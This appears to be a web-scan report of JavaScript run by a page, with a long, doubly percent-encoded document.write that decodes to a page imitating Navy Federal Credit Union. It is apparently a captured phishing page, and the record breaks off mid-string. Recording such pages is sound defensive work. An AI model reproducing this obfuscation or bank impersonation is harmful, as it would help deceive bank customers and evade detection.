JavaScript
Executed Scripts (12)
Executed Evals (0)
Executed Writes (3)
#1 JavaScript::Write (size: 8574336) - SHA256: 00ff71aa979ff1fe3bf3684318ab94cf75a1d1c7a28daabeed91e57b19dbc58c
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%3C%21%2D%2D%20%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%63%25%32%31%25%34%34%25%34%66%25%34%33%25%35%34%25%35%39%25%35%30%25%34%35%25%32%30%25%36%38%25%37%34%25%36%64%25%36%63%25%33%65%25%33%63%25%36%38%25%37%34%25%36%64%25%36%63%25%32%30%25%36%63%25%36%31%25%36%65%25%36%37%25%33%64%25%32%32%25%36%35%25%36%65%25%32%32%25%33%65%25%33%63%25%36%38%25%36%35%25%36%31%25%36%34%25%33%65%25%30%64%25%30%61%25%33%63%25%36%63%25%36%39%25%36%65%25%36%62%25%32%30%25%37%32%25%36%35%25%36%63%25%33%64%25%32%32%25%36%39%25%36%33%25%36%66%25%36%65%25%32%32%25%32%30%25%36%34%25%36%31%25%37%34%25%36%31%25%32%64%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%39%25%36%33%25%36%66%25%32%32%25%32%30%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%32%66%25%37%38%25%32%64%25%36%39%25%36%33%25%36%66%25%36%65%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%34%31%25%34%31%25%34%31%25%34%32%25%34%31%25%34%31%25%34%35%25%34%31%25%34%35%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%35%25%34%31%25%34%39%25%34%31%25%34%32%25%36%66%25%34%32%25%34%31%25%34%31%25%34%31%25%34%36%25%36%37%25%34%31%25%34%31%25%34%31%25%34%33%25%36%37%25%34%31%25%34%31%25%34%31%25%34%31%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%35%25%34%31%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%31%25%34%31%25%35%31%25%34%31%25%34%31%25%34%32%25%34%64%25%34%63%25%34%31%25%34%31%25%34%31%25%35%34%25%34%33%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%35%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%37%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%33%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%33%25%34%62%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%38%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%37%61%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%36%61%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%64%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%35%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%37%37%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%38%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%37%37%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%33%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%35%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%35%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%64%25%36%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%65%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%37%39%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%37%36%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%37%38%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%33%31%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%37%37%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%35%31%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%34%35%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%33%38%25%34%31%25%33%38%25%34%31%25%34%31%25%34%64%25%34%31%25%34%34%25%34%31%25%34%31%25%34%33%25%34%31%25%34%31%25%36%36%25%32%66%25%32%66%25%36%37%25%36%62%25%34%38%25%32%66%25%32%66%25%37%37%25%34%31%25%34%31%25%34%34%25%35%31%25%33%34%25%35%33%25%35%33%25%34%35%25%33%35%25%35%38%25%34%36%25%36%64%25%36%39%25%34%39%25%36%63%25%36%37%25%34%31%25%34%31%25%36%35%25%36%65%25%33%34%25%34%31%25%34%31%25%34%35%25%36%38%25%34%65%25%34%36%25%36%64%25%36%38%25%35%61%25%35%39%25%34%32%25%34%61%25%34%39%25%36%37%25%33%35%25%34%31%25%34%31%25%34%31%25%34%63%25%34%62%25%37%39%25%36%37%25%36%62%25%34%35%25%34%31%25%34%31%25%34%39%25%34%31%25%34%32%25%34%35%25%36%38%25%34%63%25%34%31%25%34%31%25%37%37%25%37%37%25%34%64%25%33%38%25%34%31%25%32%62%25%37%37%25%37%33%25%34%31%25%33%64%25%33%64%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%33%25%36%38%25%36%31%25%37%32%25%37%33%25%36%35%25%37%34%25%33%64%25%32%32%25%37%35%25%37%34%25%36%36%25%32%64%25%33%38%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%38%25%37%34%25%37%34%25%37%30%25%32%64%25%36%35%25%37%31%25%37%35%25%36%39%25%37%36%25%33%64%25%32%32%25%35%38%25%32%64%25%35%35%25%34%31%25%32%64%25%34%33%25%36%66%25%36%64%25%37%30%25%36%31%25%37%34%25%36%39%25%36%32%25%36%63%25%36%35%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%34%39%25%34%35%25%33%64%25%36%35%25%36%34%25%36%37%25%36%35%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%36%25%36%39%25%36%35%25%37%37%25%37%30%25%36%66%25%37%32%25%37%34%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%37%37%25%36%39%25%36%34%25%37%34%25%36%38%25%33%64%25%36%34%25%36%35%25%37%36%25%36%39%25%36%33%25%36%35%25%32%64%25%37%37%25%36%39%25%36%34%25%37%34%25%36%38%25%32%63%25%32%30%25%36%39%25%36%65%25%36%39%25%37%34%25%36%39%25%36%31%25%36%63%25%32%64%25%37%33%25%36%33%25%36%31%25%36%63%25%36%35%25%33%64%25%33%31%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%34%34%25%36%35%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%36%39%25%36%66%25%36%65%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%34%65%25%36%31%25%37%36%25%37%39%25%32%30%25%34%36%25%36%35%25%36%34%25%36%35%25%37%32%25%36%31%25%36%63%25%32%30%25%34%33%25%37%32%25%36%35%25%36%34%25%36%39%25%37%34%25%32%30%25%35%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%63%25%32%30%25%35%37%25%36%35%25%32%30%25%37%33%25%36%35%25%37%32%25%37%36%25%36%35%25%32%30%25%37%37%25%36%38%25%36%35%25%37%32%25%36%35%25%32%30%25%37%39%25%36%66%25%37%35%25%32%30%25%37%33%25%36%35%25%37%32%25%37%36%25%36%35%25%32%65%25%32%30%25%35%33%25%36%35%25%37%32%25%37%36%25%36%39%25%36%65%25%36%37%25%32%30%25%37%34%25%36%38%25%36%35%25%32%30%25%34%65%25%36%31%25%37%36%25%37%39%25%32%63%25%32%30%25%34%31%25%37%32%25%36%64%25%37%39%25%32%63%25%32%30%25%34%64%25%36%31%25%37%32%25%36%39%25%36%65%25%36%35%25%32%30%25%34%33%25%36%66%25%37%32%25%37%30%25%37%33%25%32%63%25%32%30%25%34%31%25%36%39%25%37%32%25%32%30%25%34%36%25%36%66%25%37%32%25%36%33%25%36%35%25%32%63%25%32%30%25%35%36%25%36%35%25%37%34%25%36%35%25%37%32%25%36%31%25%36%65%25%37%33%25%32%63%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%34%34%25%36%66%25%34%34%25%32%65%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%34%62%25%36%35%25%37%39%25%37%37%25%36%66%25%37%32%25%36%34%25%37%33%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%36%65%25%36%31%25%37%36%25%37%39%25%32%30%25%36%36%25%36%35%25%36%34%25%36%35%25%37%32%25%36%31%25%36%63%25%32%63%25%32%30%25%36%33%25%37%32%25%36%35%25%36%34%25%36%39%25%37%34%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%63%25%32%30%25%36%31%25%37%32%25%36%64%25%37%39%25%32%63%25%32%30%25%36%64%25%36%31%25%37%32%25%36%39%25%36%65%25%36%35%25%32%30%25%36%33%25%36%66%25%37%32%25%37%30%25%37%33%25%32%63%25%32%30%25%36%65%25%36%31%25%37%36%25%37%39%25%32%63%25%32%30%25%36%31%25%36%39%25%37%32%25%32%30%25%36%36%25%36%66%25%37%32%25%36%33%25%36%35%25%32%63%25%32%30%25%37%36%25%36%35%25%37%34%25%36%35%25%37%32%25%36%31%25%36%65%25%37%33%25%32%63%25%32%30%25%36%64%25%36%39%25%36%63%25%36%39%25%37%34%25%36%31%25%37%32%25%37%39%25%32%63%25%32%30%25%34%34%25%36%66%25%34%34%25%32%63%25%32%30%25%36%64%25%36%66%25%37%32%25%37%34%25%36%37%25%36%31%25%36%37%25%36%35%25%37%33%25%32%63%25%32%30%25%36%31%25%37%35%25%37%34%25%36%66%25%32%30%25%36%63%25%36%66%25%36%31%25%36%65%25%37%33%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%33%25%36%66%25%37%30%25%37%39%25%37%32%25%36%39%25%36%37%25%36%38%25%37%34%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%34%33%25%36%66%25%37%30%25%37%39%25%37%32%25%36%39%25%36%37%25%36%38%25%37%34%25%32%30%25%63%32%25%61%39%25%32%30%25%33%32%25%33%30%25%33%32%25%33%31%25%32%30%25%32%64%25%32%30%25%34%65%25%36%31%25%37%36%25%37%39%25%32%30%25%34%36%25%36%35%25%36%34%25%36%35%25%37%32%25%36%31%25%36%63%25%32%30%25%34%33%25%37%32%25%36%35%25%36%34%25%36%39%25%37%34%25%32%30%25%35%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%32%64%25%32%30%25%34%31%25%36%63%25%36%63%25%32%30%25%37%32%25%36%39%25%36%37%25%36%38%25%37%34%25%37%33%25%32%30%25%37%32%25%36%35%25%37%33%25%36%35%25%37%32%25%37%36%25%36%35%25%36%34%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%33%25%36%66%25%37%35%25%36%65%25%37%34%25%37%32%25%37%39%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%35%35%25%35%33%25%34%31%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%33%25%36%66%25%37%36%25%36%35%25%37%32%25%36%31%25%36%37%25%36%35%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%35%37%25%36%66%25%37%32%25%36%63%25%36%34%25%37%37%25%36%39%25%36%34%25%36%35%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%34%25%36%39%25%37%34%25%36%63%25%36%35%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%34%65%25%36%31%25%37%36%25%37%39%25%32%30%25%34%36%25%36%35%25%36%34%25%36%35%25%37%32%25%36%31%25%36%63%25%32%30%25%34%33%25%37%32%25%36%35%25%36%34%25%36%39%25%37%34%25%32%30%25%35%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%32%64%25%32%30%25%34%31%25%36%32%25%36%66%25%37%35%25%37%34%25%32%30%25%35%35%25%37%33%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%39%25%36%34%25%36%35%25%36%65%25%37%34%25%36%39%25%36%36%25%36%39%25%36%35%25%37%32%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%65%25%36%31%25%37%36%25%37%39%25%36%36%25%36%35%25%36%34%25%36%35%25%37%32%25%36%31%25%36%63%25%32%65%25%36%66%25%37%32%25%36%37%25%32%66%25%36%31%25%36%32%25%36%66%25%37%35%25%37%34%25%32%64%25%36%65%25%36%31%25%37%36%25%37%39%25%32%64%25%36%36%25%36%35%25%36%34%25%36%35%25%37%32%25%36%31%25%36%63%25%32%65%25%36%38%25%37%34%25%36%64%25%36%63%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25